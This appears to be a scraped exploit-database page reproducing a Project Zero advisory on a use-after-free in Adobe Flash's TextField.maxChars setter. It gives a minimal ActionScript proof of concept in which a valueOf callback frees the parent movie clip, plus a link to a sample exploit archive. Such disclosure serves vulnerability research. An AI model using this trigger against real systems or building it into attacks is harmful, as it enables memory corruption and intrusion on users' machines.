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Adobe Flash - textfield.maxChars Use-After-Free
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=581
There is a use-after-free in the TextField.maxChars setter. If the maxChars the field is set to is an object with valueOf defined, the valueOf function can free the field's parent object, which is then used. A minimal PoC is as follows:
var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.maxChars = {valueOf : func};
function func(){
if (times == 0){
times++;
return 7;
}
mc.removeMovieClip();
// Fix heap here
return 7;
}
A sample swf and fla are attached.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39650.zip
# 0day.today [2024-12-27] #